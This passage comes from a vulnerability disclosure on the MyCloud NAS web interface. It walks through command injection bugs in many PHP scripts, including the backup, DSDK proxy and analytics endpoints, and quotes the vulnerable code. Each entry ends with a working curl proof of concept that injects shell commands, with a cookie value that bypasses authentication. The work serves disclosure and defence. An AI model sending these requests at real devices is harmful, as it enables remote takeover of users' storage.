 16 exec("wto -n \"$username\" -g", $ret);

On line 15 the value of the "username" cookie is pulled into a local variable. In the next line the value is used in an exec() call.

POC

curl -i "http://<IP>/web/php/sendLogToSupport.php?cmd=send_log&dev=a" --cookie "isAdmin=1;username=%24(touch%20/tmp/a23)\" -s 1337 -c \""

/web/php/remoteBackups.php

A remote command execution bug exists in the "php/remoteBackups.php" script within the MyCloud web interface.

Remote Command Execution

The "php/remoteBackups.php" file is vulnerable to a remote command execution bug allowing for a logged in user to execute commands.The following code illustrates the vulnerability.

php/remoteBackups.php

 18 $cmd = $_REQUEST['cmd'];
 19 $RemoteBackupsAPI = new RemoteBackupsAPI;
 20 
 21 switch ($cmd) {
 22         case "getRecoverItems":
 23                 $RemoteBackupsAPI->getRecoverItems();
 24                 break;
 25 }
 26 
 27 
 28 class RemoteBackupsAPI{
 29         public function getRecoverItems()
 30         {
 31                 $xmlPath = "/var/www/xml/rsync_recover_items.xml";
 32                 $jobName = $_REQUEST['jobName'];
 33 
 34                 @unlink($xmlPath);
 35 
 36                 $cmd = "rsyncmd -l \"$xmlPath\" -r \"$jobName\" >/dev/null";
 37                 system($cmd);

On line 18 above the "$cmd" variable is used to determine the path of the code through the use of a switch statement (even though there is only 1 case). If "$cmd" is set to "getRecoverItems", we reach the getRecoverItems() method of the "RemoteBackupsAPI" class. Within this function, the "jobName" request variable (which can be a cookie, get or post value) is loaded into the "$jobName" local var (Ln. 32). From here, a pattern similar to all the rest of the command injection bugs on this page is used which consists of loading the user supplied value (within jobName) into the syntax of an argument for a command (Ln 36). The value is then stored in the "$cmd" variable and used in the PHP system() call on line 37.

POC

curl -i "http://<IP>/web/php/remoteBackups.php?cmd=getRecoverItems&jobName=%24(touch%20/tmp/a24)"  --cookie "isAdmin=1;username=admin\" -s 1337 -c \""

/web/php/noHDD.php

A remote command execution vulnerability exists in the "php/noHDD.php" script within the MyCloud web interface.

Remote Command Execution

The "php/noHDD.php" file is vulnerable to a remote command execution bug allowing for a logged in user to execute commands.The following code illustrates the vulnerability.

php/noHDD.php

 30 $cmd = $_REQUEST['cmd'];
 31 $enable = $_REQUEST['enable'];  //enable or disable
 32 
 33 switch ($cmd) {
 34         case "getDiskStatus":
 35                 getDiskStatus();
 36                 break;
 37         case "setSataPower":
 38                 setSataPower($enable);
 39                 break;
 40 }
 41 function setSataPower($enable)
 42 {
 43         $state = "ok";
 44         if(file_exists("/tmp/system_ready"))
 45         {
 46                 $setCmd = "sata_power.sh \"$enable\"";
 47         exec($setCmd,$retval);

In the above code, the "cmd" request variable (which can be from a get, post, or cookie) value is used to control the flow and is then stored in the local variable "$cmd". If the value supplied is "setSataPower", the function setSataPower() is called (Ln. 38) with the "$enable" variable as an argument. The "$enable" variable contains the value from the user supplied "enable" request variable (which can be from a get, post, or cookie). On line 46, "$enable" is stored as the first argument to a sh script "sata_power.sh" in the $setCmd variable. The "$setCmd" variable is then used as an argument to the PHP exec() function, which executes the command.

The above does depend on the /tmp/system_ready file existing.

POC

curl -i "http://<IP>/web/php/noHDD.php?cmd=setSataPower&enable=%24(touch%20/tmp/a25)" --cookie "isAdmin=1;username=admin\" -s 1337 -c \""

/web/php/modUserName.php

A remote command execution vulnerability exists in the "php/modUserName.php" script within the MyCloud web interface.

Remote Command Execution

The "php/modUserName.php" file is vulnerable to a remote command execution bug allowing for a logged in user to execute commands.The following code shows the vulnerability.

php/modUserName.php

 14 if (isset($_POST['username']) && $_POST['username'] != "")
 15 {
 16         $username = $_POST['username'];
 17         $oldName = $_POST['oldName'];
 18         $ip = $_SERVER['REMOTE_ADDR'];
 19 
 20         if (isset($_SESSION['username']))
 21         {
 22                 $sname = $_SESSION['username'];
 23                 $debugCmd="echo old:$sname >/tmp/debug";
 24                 exec($debugCmd, $ret);
 25 
 26         unset($_SESSION['username']);
 27         $_SESSION['username'] = $username;
 28 
 29                 $sname = $_SESSION['username'];
 30                 $debugCmd="echo new:$sname >>/tmp/debug";
 31                 exec($debugCmd, $ret);
 32 
 33         session_write_close();
 34 
 35                 //echo $_SESSION['username'];
 36         }
 37         else
 38         {
 39                 $debugCmd="echo 'no session' >>/tmp/debug";
 40                 exec($debugCmd, $ret);
 41         }
 42 
 43         //wto delete
 44         $cmd = "wto -n \"$oldName\" -d ";
 45         system($cmd,$retval);
 46 
 47         //wto add
 48         $cmd = "wto -n \"$username\" -i \"$ip\" -s";
 49         system($cmd,$retval);

The above path has two different command injection bugs within it, one through the use of the "username" post value and the other through the "oldName" post value.

On line 17, the "oldName" post value is moved into the "$oldname" local variable. On line 44, "$oldname" is put into the "$cmd" variable as an argument for the "wto" binary without any sanitization. Finally on line 45, a PHP "system()" call is made using the $cmd variable which results in command execution.

Similarly, in line 16, the "username" post value is moved into the "$username" local variable. On line 48, "$username" is put into the "$cmd" variable as an argument for the "wto" binary without any sanitization. Finally, on line 49, a "system()" call is made using the "$cmd" variable which results in code execution.

POC

curl -i "http://<IP>/web/php/modUserName.php"  --data "username=%24(touch%20/tmp/a26)&oldName=a" --cookie "isAdmin=1;username=admin\" -s 1337 -c \""

/web/php/chk_vv_sharename.php

A remote command execution vulnerability exists in the "php/chk_vv_sharename.php" script within the MyCloud web interface.

Remote Command Execution

The "php/chk_vv_sharename.php" file is vulnerable to a remote command execution bug allowing for a logged in user to execute commands.The following code shows the vulnerability.

php/chk_vv_sharename.php

 17         $vv_sharename = $_GET['vv_sharename'];
 18 
 19         if(empty($_GET["vv_sharename"]))
 20         {
 21                 echo 'Parameter vv_sharename is missing.';
 22                 return;
 23         }
 24 
 25         $cmd = "vvctl --check_share_name -s \"$vv_sharename\" >/dev/null";
 26         system($cmd);

On line 17 of the code above, the "vv_sharename" get variable is moved into the "$vv_sharename" local variable. Then, on line 19, a check is done on the get "vv_sharename" variable to verify it is not empty. If the value is empty the script returns with an error. Otherwise, "$vv_sharename" is stored in the "$cmd" variable as an argument to the "vvctl" binary. The "$cmd" variable is then executed on line 26, through the PHP "system()" call.

POC

curl -i "http://<IP>/web/php/chk_vv_sharename.php?vv_sharename=%24(touch%20/tmp/a27)" --cookie "isAdmin=1;username=admin\" -s 1337 -c \""

/web/google_analytics.php

A remote command execution bug exists in the "google_analytics.php" script within the MyCloud web interface.

Remote Command Execution

The "google_analytics.php" file is vulnerable to a remote command execution bug allowing for a logged in user to execute commands.The following code shows the vulnerability.

google_analytics.php

 14 $action = $_POST['cmd'];
 15 if ($action == "") $action = $_GET['cmd'];
 16 
 17 $r = new stdClass();
 18 switch ($action)
 19 {
 20         case "set":
 21         {
 22                 $opt = $_POST['opt'];
 23                 $arg = $_POST['arg'];
 24                 $run_cmd = sprintf("ganalytics --%s %s > /dev/null &", $opt, ($arg != "") ? $arg : "");
 25 
 26                 system($run_cmd);

In the above, the posted "cmd" value is put into the local variable "$action", this value is used to control the path of the code. If the "$cmd" variable is set to "set", the code on lines 22-26 is used. On line 22, the post variable "opt" is stored into the local variable "$opt". The same is done on line 23 for the posted variable "arg" with the local variable "$arg". Following both assignments, the code on line 24 adds the values from "$opt" and "$arg" as arguments to the "ganalytics" binary and stores the string within the "$run_cmd" variable. Finally, the variable is passed as the first argument to the PHP "system()" call, and is then executed.

POC

curl -i "http://<IP>/web/google_analytics.php" --data "cmd=set&opt=%24(touch%20/tmp/a28)&arg=" --cookie "isAdmin=1;username=admin\" -s 1337 -c \""
OR
curl -i "http://<IP>/web/google_analytics.php" --data "cmd=set&opt=&arg=%24(touch%20/tmp/a29)" --cookie "isAdmin=1;username=admin\" -s 1337 -c \""

/web/dsdk/DsdkProxy.php

A remote command execution vulnerability exists in the "dsdk/DsdkProxy.php" script within the MyCloud web interface.

Remote Command Execution

The "dsdk/DsdkProxy.php" file is vulnerable to a remote command execution bug allowing for a logged in user to execute commands. The following code shows the vulnerability.

dsdk/DsdkProxy.php

 12 $postOrPutRequest = ($_SERVER['REQUEST_METHOD'] == 'POST' || $_SERVER['REQUEST_METHOD'] == 'PUT');
 13 
 14 $curlCommand = 'sudo curl -i -s --unix-socket "/var/run/wdappmgr.sock" -X ';
 15 $curlCommand .= $_SERVER['REQUEST_METHOD'];
 16 $curlCommand .= ' ';
 17 
 18 if ($postOrPutRequest) {
 19     $curlCommand .= ' -d ';
 20     $curlCommand .= '\'';
 21     $curlCommand .= file_get_contents('php://input');
 22     $curlCommand .= '\'';
 23 }
 24 
 25 $curlCommand .= ' ';
 26 $curlCommand .= 'http://localhost/';
 27 $curlCommand .= $endpoint;
 28 
 29 if (!$postOrPutRequest && $_SERVER['QUERY_STRING'] != null) {
 30     $curlCommand .= '?';
 31     $curlCommand .= $_SERVER['QUERY_STRING'];
 32 }
 33 $curlCommand .= ' 2>&1';
 34 
 35 $output = shell_exec($curlCommand);

In the above code, on line 12, a Boolean value is stored within the "$postOrPutRequest" variable. Following this, the script begins to create a string ("$curlCommand") with the contents of a "curl" command that will be used later (Ln 14). On line 18, the Boolean value within "$postOrPutRequest" is used to determine if the contents of the php://input is appended to the CURL command. This is where our command injection comes into play, the contents of "php://input" are not sanitized and are stored directly in the CURL command within "$curlCommand". After a few more modifications (but no sanitization), the contents of "$curlCommand" are executed through a call to shell_exec() (Ln 35).

POC

curl -i "http://<IP>/web/dsdk/DsdkProxy.php" --data "';touch /tmp/a30;'" --cookie "isAdmin=1;username=admin\" -s 1337 -c \""

/web/backups/usb_backup.php

The "backups/usb_backup.php" file contains multiple paths which lead to remote command execution. The following code shows the vulnerability.

Remote Command Execution

A remote command execution bug exists in the usb_backup functionality of the MyCloud web interface when the "action" variable is set to "go_restore".

backups/usb_backup.php

...
109 function stop_job($taskname)
110 {
111         //Stop job
112         $cmd = sprintf("usb_backup -a '%s' -c jobstop", $taskname);
113         pclose(popen($cmd, 'r'));
114         sleep(2);
115 
116         $pname = sprintf("/tmp/r_%s!_usb", $taskname);
117         file_put_contents($pname, "-10"); //Cancel
118 }
...
...
242         case "go_restore":
243         {
244                 $taskname = $_POST['taskname'];
245                 $restore_source = $_POST['restore_source'];
246 
247                 stop_job($taskname);
248 
249                 $pname = sprintf("/tmp/r_%s!_usb", $taskname);
250                 file_put_contents($pname, "0"); //Cancel
251 
252                 $list_xml_file = sprintf("/tmp/r_usb!_restore_imcremental_%s.xml", $taskname);
253                 if ($restore_source == "")//Sync and Copy
254                         $cmd = sprintf("usb_backup -a '%s' -o '%s' -c jobrs &", $taskname, $list_xml_file);
255                 else
256                         $cmd = sprintf("usb_backup -a '%s' -o '%s' -F %s -c jobrs &", $taskname, $list_xml_file, $_POST['restore_source']);
257                 pclose(popen($cmd, 'r'));

In the above code, there are multiple places where a command injection vulnerability can be exploited. The first being the call to stop_job on line 247 with the posted variable "taskname". The "$taskname" variable is passed to the stop_job function and is stored in the proper syntax within the $cmd variable as an argument to the "usb_backup" binary (Ln. 112). Then, on line 113, the $cmd variable is executed through the use of a PHP "popen()" call.

Then, on line 256, the posted variable "restore_source" is stored in the $cmd variable as an argument for the "usb_backup" binary. Then, the variable is used on line 257 through the PHP "popen()" call.

POC

curl -i "http://<IP>/web/backups/usb_backup.php" --data "action=go_restore&taskname=';touch%20/tmp/a31;'&restore_source=" --cookie "isAdmin=1;username=admin\" -s 1337 -c \""
OR
curl -i "http://<IP>/web/backups/usb_backup.php" --data "action=go_restore&taskname=&restore_source=%24(touch%20/tmp/a32)" --cookie "isAdmin=1;username=admin\" -s 1337 -c \""
Remote Command Execution

A remote command execution bug exists in the usb_backup functionality of the MyCloud web interface when the "action" variable is set to "stop_jobs".

backups/usb_backup.php

231         case "stop_jobs":
232         {
233                 $taskname = $_POST['taskname'];
234                 stop_job($taskname);
235 
236                 $r = get_list();
237                 $r->success = true;
238                 echo json_encode($r);
239         }
240                 break;

The above code contains a bug identical to the bug mentioned before it, in that through a separate path (using the "stops_jobs" action) the "taskname" posted variable is passed to the stop_job() method. This puts the value of the variable as an argument for the "usb_backup" binary.

POC

curl -i "http://<IP>/web/backups/usb_backup.php" --data "action=stop_jobs&taskname=';touch%20/tmp/a33;'" --cookie "isAdmin=1;username=admin\" -s 1337 -c \""
Remote Command Execution

A remote command execution bug exists in the usb_backup functionality of the MyCloud web interface when the "action" variable is set to "del".

backups/usb_backup.php

196         case "del":
197         {
198                 $taskname = $_POST['taskname'];
199 
200                 stop_job($taskname);
201 
202                 $cmd = sprintf("usb_backup -a '%s' -c jobdel", $taskname);
203                 pclose(popen($cmd, 'r'));
204 
205                 $pname = sprintf("/tmp/r_%s!_usb", $taskname);
206                 @unlink($pname);
207 
208                 $r = get_list();
209                 $r->success = true;
210                 echo json_encode($r);
211         }
212                 break;

The above code contains paths to two different command execution bugs, one involving the previously mentioned "stop_job()" method, which through the posted variable "taskname" is executed in a PHP "popen()" call and another involving the same variable "taskname" in a separate PHP "popen()" call. Because we've detailed the command execution bug within the "stop_job" method a few times above, we'll just skip straight to the popen() bug.

On line 202, the posted variable "taskname" is stored in the $cmd variable as an argument for the usb_backup binary. Then, on line 203, the $cmd variable is passed as an argument to the popen() method, which executes the command within the $cmd variable.

POC

curl -i "http://<IP>/web/backups/usb_backup.php" --data "action=del&taskname=';touch%20/tmp/a34;'" --cookie "isAdmin=1;username=admin\" -s 1337 -c \""
Remote Command Execution

A remote command execution vulnerability exists in the usb_backup functionality of the MyCloud web interface when the "action" variable is set to "go_jobs".

backups/usb_backup.php

214         case "go_jobs":
215         {
216                 $taskname = $_POST['taskname'];
217 
218                 $pname = sprintf("/tmp/r_%s!_usb", $taskname);
219                 @unlink($pname);
220 
221                 $cmd = sprintf("usb_backup -a '%s' -c jobrun &", $taskname);
222                 pclose(popen($cmd, 'r'));
223                 sleep(2);
224 
225                 $r = get_list();
226                 $r->success = true;
227                 echo json_encode($r);
228         }
229                 break;

In the above code, on line 216 the posted variable "taskname" is stored within the PHP "$taskname" variable. On line 221, the "$taskname" variable value is then stored within the "$cmd" variable in the syntax as an argument for the "usb_backup" binary. Then, on line 222, the "$cmd" variable is executed through the use of the PHP "popen()" function.

POC

curl -i "http://<IP>/web/backups/usb_backup.php" --data "action=go_jobs&taskname=';touch%20/tmp/a35;'" --cookie "isAdmin=1;username=admin\" -s 1337 -c \""
Remote Command Execution

A remote command execution vulnerability exists in the "usb_backup" functionality of the MyCloud web interface when the "action" variable is set to "modify".

backups/usb_backup.php

164         case "modify":
165         {
166                 $taskname = $_POST['taskname'];
167                 $category = $_POST['category']; //1:USB->NAS,2:NAS->USB
168                 $source_dir = $_POST['source_dir'];
169                 $dest_dir = $_POST['dest_dir'];
170                 $backup_type = $_POST['backup_type'];
171                 $auto_start = $_POST['auto_start'];
172                 $old_taskname = $_POST['old_taskname'];
173 
174                 stop_job($taskname);
175 
176                 $cmd = sprintf("usb_backup -a '%s' -x '%s' -m %s -t %s -d %s -A %s -c jobedit",
177                                                 $taskname, $old_taskname, $backup_type, $category, escapeshellarg(htmlstr_decode($dest_dir)), $auto_start);
178 
179                 foreach ($source_dir as $val)
180                         $cmd .= sprintf(" -s %s", escapeshellarg(htmlstr_decode($val)));
181 
182                 pclose(popen($cmd, 'r'));
183 
184                 //Start job
185                 $cmdS = sprintf("usb_backup -a '%s' -c jobrun &", $taskname);
186                 pclose(popen($cmdS, 'r'));
187                 sleep(2);
188 
189                 $r = get_list();
190                 $r->cmd = $cmd;
191                 $r->success = true;
192                 echo json_encode($r);
193         }
194                 break;

The above code is slightly unique compared to a majority of all of the other code segments on this page. This particular code contains some sanitization, in particular for the posted variable "dest_dir" (Ln. 177) and the posted array source_dir (Ln. 179-180). The other posted values however are not sanitized and are all used within a PHP "popen()" call without any sanitization, allowing for command injection. In particular the posted variables "taskname", "category", "backup_type", "autostart", and "old_taskname" are stored within the $cmd variable as arguments for the usb_backup binary (Ln. 176-177) and are then called through the use of a PHP "popen()" call on line 182.

The posted taskname variable is involved in two more PHP "exec" calls. The variable is used as an argument to the already mentioned vulnerable function "stop_job()" (Ln. 174) allowing for command injection, as well as in an argument for "usb_backup" binary (Ln. 185) which is then executed through a popen() call on line 186.

POC

curl -i "http://<IP>/web/backups/usb_backup.php" --data "action=modify&taskname=';touch%20/tmp/a36;'&category=&source_dir=&dest_dir=&backup_type=&auto_start=&old_taskname=" --cookie "isAdmin=1;username=admin\" -s 1337 -c \""
OR
curl -i "http://<IP>/web/backups/usb_backup.php" --data "action=modify&taskname=&category=%24(touch%20/tmp/a37)&source_dir=&dest_dir=&backup_type=&auto_start=&old_taskname=" --cookie "isAdmin=1;username=admin\" -s 1337 -c \""
OR
curl -i "http://<IP>/web/backups/usb_backup.php" --data "action=modify&taskname=&category=&source_dir=&dest_dir=&backup_type=%24(touch%20/tmp/a38)&auto_start=&old_taskname=" --cookie "isAdmin=1;username=admin\" -s 1337 -c \""
OR
curl -i "http://<IP>/web/backups/usb_backup.php" --data "action=modify&taskname=&category=&source_dir=&dest_dir=&backup_type=&auto_start=%24(touch%20/tmp/a39)&old_taskname=" --cookie "isAdmin=1;username=admin\" -s 1337 -c \""
OR
curl -i "http://<IP>/web/backups/usb_backup.php" --data "action=modify&taskname=&category=&source_dir=&dest_dir=&backup_type=&auto_start=&old_taskname=';touch%20/tmp/a40;'" --cookie "isAdmin=1;username=admin\" -s 1337 -c \""
Remote Command Execution

A remote command execution vulnerability exists in the usb_backup functionality of the MyCloud web interface when the "action" variable is set to "create".

backups/usb_backup.php

132         case "create":
133         {
134                 $taskname = $_POST['taskname'];
135                 $category = $_POST['category']; //1:USB->NAS,2:NAS->USB
136                 $source_dir = $_POST['source_dir'];
137                 $dest_dir = $_POST['dest_dir'];
138                 $backup_type = $_POST['backup_type'];
139                 $auto_start = $_POST['auto_start'];
140 
141                 $cmd = sprintf("usb_backup -a '%s' -m %s -t %s -d %s -A %s -c jobadd",
142                                                 $taskname, $backup_type, $category, escapeshellarg(htmlstr_decode($dest_dir)), $auto_start);
143 
144                 foreach ($source_dir as $val)
145                         $cmd .= sprintf(" -s %s", escapeshellarg(htmlstr_decode($val)));
146 
147                 pclose(popen($cmd, 'r'));
148                 $pname = sprintf("/tmp/r_usb!_%s", $taskname);
149                 @unlink($pname);
150 
151                 stop_job($taskname);
152 
153                 //Start job
154                 $cmd = sprintf("usb_backup -a '%s' -c jobrun &", $taskname);
155                 pclose(popen($cmd, 'r'));
156                 sleep(2);
157 
158                 $r = get_list();
159                 $r->success = true;
160                 echo json_encode($r);
161         }
162                 break;

The above code is slightly unique compared to a majority of all of the other code segments on this page. This code contains some sanitization, in particular for the posted variable "dest_dir" (Ln. 142) and the posted array source_dir (Ln. 144-145). However the other posted values are not sanitized and are all used within a PHP "popen()" call without any sanitization allowing for command injection. In particular the posted variables "taskname", "category", "backup_type", and "autostart" are stored within the "$cmd" variable as arguments for the usb_backup binary (Ln. 141-142) and are then called through the use of a PHP "popen()" on line 147.


The posted taskname variable is involved in two more PHP "exec" calls. The variable is used as an argument to the already mentioned vulnerable function "stop_job()" (Ln. 151) allowing for command injection, as well as as an argument for "usb_backup" binary (Ln. 154) which is then executed through a popen() call on line 155.

POC

curl -i "http://<IP>/web/backups/usb_backup.php" --data "action=create&taskname=';touch%20/tmp/a41;'&category=&source_dir=&dest_dir=&backup_type=&auto_start=" --cookie "isAdmin=1;username=admin\" -s 1337 -c \""
OR
curl -i "http://<IP>/web/backups/usb_backup.php" --data "action=create&taskname=&category=%24(touch%20/tmp/a42)&source_dir=&dest_dir=&backup_type=&auto_start=" --cookie "isAdmin=1;username=admin\" -s 1337 -c \""
OR
curl -i "http://<IP>/web/backups/usb_backup.php" --data "action=create&taskname=&category=&source_dir=&dest_dir=&backup_type=%24(touch%20/tmp/a43)&auto_start=" --cookie "isAdmin=1;username=admin\" -s 1337 -c \""
OR
curl -i "http://<IP>/web/backups/usb_backup.php" --data "action=create&taskname=&category=&source_dir=&dest_dir=&backup_type=&auto_start=%24(touch%20/tmp/a44)" --cookie "isAdmin=1;username=admin\" -s 1337 -c \""

backups/internal_backup.php

Remote Command Execution

A remote command execution bug exists in the internal_backup functionality of the MyCloud web interface when the "action" variable is set to "create".

backups/internal_backup.php

135         case "create":
136         {
137                 $taskname = $_POST['taskname'];
138                 $source_dir = $_POST['source_dir'];
139                 $dest_dir = $_POST['dest_dir'];
140                 $backup_type = $_POST['backup_type'];
141 
142                 $schedule = $_POST['schedule'];
143                 $schedule_type = $_POST['backup_sch_type'];
144                 $hour = $_POST['hour'];
145                 $week = $_POST['week'];
146                 $day = $_POST['day'];
147 
148                 $sch_command = "";
149                 if ($schedule  == "0")$sch_command = "0,1,1";
150                 else if ($schedule_type  == "3")$sch_command = "3,1,".$hour; //daily
151                 else if ($schedule_type  == "2")$sch_command = "2,".$week.",".$hour; //weekly
152                 else if ($schedule_type  == "1")$sch_command = "1,".$day.",".$hour; //monthly
153 
154                 $cmd = sprintf("internal_backup -a \"%s\" -m %s -d %s -r %s -c jobadd",
155                                                 $taskname, $backup_type, escapeshellarg(htmlstr_decode($dest_dir)), $sch_command);
156 
157                 foreach ($source_dir as $val)
158                         $cmd .= sprintf(" -s %s", escapeshellarg(htmlstr_decode($val)));
159 
160                $cmd .= " >/dev/null 2>&1";
161 
162                 /*
163                 $file = '/tmp/cgi_internalbackup.txt';
164                 // Open the file to get existing content
165                 $current = file_get_contents($file);
166                 // Append a new person to the file
167                 $current .= $cmd;
168                 // Write the contents back to the file
169                 file_put_contents($file, $current);
170                 */
171 
172                 system($cmd);
173                 //pclose(popen($cmd, 'r'));
174                 $pname = sprintf("/tmp/r_internal!_%s", $taskname);
175                 //@unlink($pname);
176                 system("rm ".$pname);
177 
178                 stop_job($taskname);
179 
180                 //Start job
181                 $cmd = sprintf("(internal_backup -a '%s' -c jobrun >/dev/null 2>&1)&", $taskname);
182                 system($cmd);
183                  //pclose(popen($cmd, 'r'));
184                 //sleep(2);
185 
186                 $r = get_list();
187                 $r->success = true;
188                 echo json_encode($r);
189         }
190                 break;

The above code contains multiple different variables left unsanitized that can be used for command injection.

The code begins with the posted variables being stored into local variables (Ln. 137-146). Following, a set of conditionals are used to create a local variable "$sch_command" with the proper format for the "-r" argument for the "internal_backup" binary (Ln. 149-152). During this process, based on the value of the "$schedule" variable, the posted values for "hour", "week" and "day" are put into the the "$sch_command" variable. This variable is then used on lines 144-145 to create a command which executes the "internal_backup" binary along with some of the posted variables. The following variables created from posted values are added without any sanitization to the internal_backup command: "$backup_type", "$taskname", and "$sch_command". The "$dest_dir" variable is also added but is sanitized through the use of PHP's "escapeshellarg()" function. More values are added to the "$cmd" variable storing the "internal_backup" command on lines 157-160, but they are either sanitized or aren't user supplied. Finally, on line 172, the "$cmd" variable is executed through the use of a PHP "system()" function call.

Another path to command execution can be seen starting on line 174, on this line, a file name "/tmp/r_internal!_" has the value of the local variable "$taskname" appended to it and the result is stored in "$pname". This variable contains an un-sanitized value created from a posted user supplied variable. Then, on line 176, the "$pname" value is appended to an "rm" command and is executed through the use of a PHP "system()" call without sanitization. This allows for another command injection path through the use of "$taskname".

Yet another path to command execution can be seen starting on line 181. In this line the "$taskname" local variable (containing user supplied input) is inserted into a string in the "$cmd" variable containing the syntax for the "internal_backup" binary as its "-a" argument. Then, on line 182, the PHP "system()" function is called with the "$cmd" variable as its first argument, executing the command within. This is all done without any sanitization being done on "$taskname", which contains a user supplied input.

Finally, another path to command execution leveraging the "$taskname" variable can be seen starting on line 178. This line contains a call into the stop_job function with the taskname as its only argument. The code for the "stop_job()" call can be seen below.

backups/internal_backup.php

112 function stop_job($taskname)
113 {
114         //Stop job
115         $cmd = sprintf("internal_backup -a '%s' -c jobstop >/dev/null 2>&1", $taskname);
116         pclose(popen($cmd, 'r'));
117         sleep(2);
118 
119         $pname = sprintf("/tmp/r_%s!_internal", $taskname);
120         file_put_contents($pname, "-10"); //Cancel
121 }

In the above function, we can see that the only argument to the function "$taskname" is put into the proper syntax for the "internal_backup" command for the "-a" argument (Ln. 115) and stored in the variable "$cmd". Then, on line 116, the "$cmd" local variable is passed to the PHP "popen()" function executing the command within. The above is all concluded without any sanitization done on the user supplied input.

POC

curl -i "http://<IP>/web/backups/internal_backup.php" --data "action=create&taskname=%24(touch%20/tmp/a45)&source_dir=&dest_dir=&backup_type=&schedule=&backup_sch_type=&hour=&week=&day=" --cookie "isAdmin=1;username=admin\" -s 1337 -c \""
OR
curl -i "http://<IP>/web/backups/internal_backup.php" --data "action=create&taskname=&source_dir=&dest_dir=&backup_type=%24(touch%20/tmp/a46)&schedule=&backup_sch_type=&hour=&week=&day=" --cookie "isAdmin=1;username=admin\" -s 1337 -c \""
OR
curl -i "http://<IP>/web/backups/internal_backup.php" --data "action=create&taskname=&source_dir=&dest_dir=&backup_type=&schedule=&backup_sch_type=3&hour=%24(touch%20/tmp/a47)&week=&day=" --cookie "isAdmin=1;username=admin\" -s 1337 -c \""
OR
curl -i "http://<IP>/web/backups/internal_backup.php" --data "action=create&taskname=&source_dir=&dest_dir=&backup_type=&schedule=&backup_sch_type=2&hour=&week=%24(touch%20/tmp/a48)&day=" --cookie "isAdmin=1;username=admin\" -s 1337 -c \""
OR
curl -i "http://<IP>/web/backups/internal_backup.php" --data "action=create&taskname=&source_dir=&dest_dir=&backup_type=&schedule=&backup_sch_type=1&hour=&week=&day=%24(touch%20/tmp/a49)" --cookie "isAdmin=1;username=admin\" -s 1337 -c \""
Remote Command Execution

A remote command execution vulnerability exists in the internal_backup functionality of the MyCloud web interface when the "action" variable is set to "modify".

backups/internal_backup.php

192         case "modify":
193         {
194                 $taskname = $_POST['taskname'];
195                 $source_dir = $_POST['source_dir'];
196                 $dest_dir = $_POST['dest_dir'];
197                 $backup_type = $_POST['backup_type'];
198                 $old_taskname = $_POST['old_taskname'];
199 
200                 $schedule = $_POST['schedule'];
201                 $schedule_type = $_POST['backup_sch_type'];
202                 $hour = $_POST['hour'];
203                 $week = $_POST['week'];
204                 $day = $_POST['day'];
205 
206                 $sch_command = "";
207                 if ($schedule  == "0")$sch_command = "0,1,1";
208                 else if ($schedule_type  == "3")$sch_command = "3,1,".$hour; //daily
209                 else if ($schedule_type  == "2")$sch_command = "2,".$week.",".$hour; //weekly
210                 else if ($schedule_type  == "1")$sch_command = "1,".$day.",".$hour; //monthly
211 
212                 stop_job($taskname);
213 
214                 $cmd = sprintf("internal_backup -a \"%s\" -x \"%s\" -m %s -d %s -r %s -c jobedit",
215                                                 $taskname, $old_taskname, $backup_type, escapeshellarg(htmlstr_decode($dest_dir)), $sch_command);
216                 foreach ($source_dir as $val)
217                         $cmd .= sprintf(" -s %s", escapeshellarg(htmlstr_decode($val)));
218 
219                 $cmd .= " >/dev/null 2>&1";
220                 system($cmd);
221                 //pclose(popen($cmd, 'r'));
222 
223                 //Start job
224                 if ($schedule  == "0")
225                 {
226                 $cmdS = sprintf("(internal_backup -a '%s' -c jobrun  >/dev/null 2>&1)&", $taskname);
227                 system($cmdS);
228                 }
229 
230                 //pclose(popen($cmdS, 'r'));
231                 //sleep(2);
232 
233                 $r = get_list();
234                 $r->cmd = $cmd;
235                 $r->success = true;
236                 echo json_encode($r);
237         }
238                 break;

The above code contains multiple different variables left unsanitized that can be used for command injection.

The code above begins with the posted variables being stored into local variables (Ln. 194-204). Following, a set of conditionals are used to create a local variable "$sch_command" with the proper format for the "-r" argument for the "internal_backup" binary (Ln. 206-210). During this process, based on the value of the "$schedule" variable, the posted values for "hour", "week" and "day" are put into the the "$sch_command" variable. This variable is then used on lines 214-215 to create a command which executes the "internal_backup" binary along with some of the posted variables. The following variables created from posted values are added without any sanitization to the internal_backup command: "$old_taskname", "$taskname", "backup_type", and "$sch_command". The "$dest_dir" variable is also added but, is sanitized through the use of PHP's "escapeshellarg()" function. More values are added to the "$cmd" variable storing the "internal_backup" command on lines 216-219, but they are either sanitized or aren't user supplied. Finally on line 220, the "$cmd" variable is executed through the use of a PHP "system()" function call.

Another path to command injection exists in an identical manner as the "create" path within the same PHP file. This involves the "stop_job" function along with the "$taskname" local variable (Ln. 212), more info on the vulnerability can be found above.

Finally, one last path to command injection can be found starting on line 226. Here, we have the "$taskname" variable, which contains user supplied data, inserted into the "$cmdS" variable with the syntax as an argument for the "internal_backup" binary without sanitization. Following, on line 227, the "$cmdS" command is executed through the use of a PHP "system()" call allowing for command injection.

POC

curl -i "http://<IP>/web/backups/internal_backup.php" --data "action=modify&taskname=&source_dir=&dest_dir=&backup_type=%24(touch%20/tmp/a50)&hour=&week=&day=&old_taskname=" --cookie "isAdmin=1;username=admin\" -s 1337 -c \""
OR
curl -i "http://<IP>/web/backups/internal_backup.php" --data "action=modify&taskname=%24(touch%20/tmp/a51)&source_dir=&dest_dir=&backup_type=&schedule=&backup_sch_type=&hour=&week=&day=&old_taskname=" --cookie "isAdmin=1;username=admin\" -s 1337 -c \""
OR
curl -i "http://<IP>/web/backups/internal_backup.php" --data "action=modify&taskname=&source_dir=&dest_dir=&backup_type=%24(touch%20/tmp/a52)&schedule=&backup_sch_type=&hour=&week=&day=&old_taskname=" --cookie "isAdmin=1;username=admin\" -s 1337 -c \""
OR
curl -i "http://<IP>/web/backups/internal_backup.php" --data "action=modify&taskname=&source_dir=&dest_dir=&backup_type=&schedule=&backup_sch_type=3&hour=%24(touch%20/tmp/a53)&week=&day=&old_taskname=" --cookie "isAdmin=1;username=admin\" -s 1337 -c \""
OR
curl -i "http://<IP>/web/backups/internal_backup.php" --data "action=modify&taskname=&source_dir=&dest_dir=&backup_type=&schedule=&backup_sch_type=2&hour=&week=%24(touch%20/tmp/a54)&day=&old_taskname=" --cookie "isAdmin=1;username=admin\" -s 1337 -c \""
OR
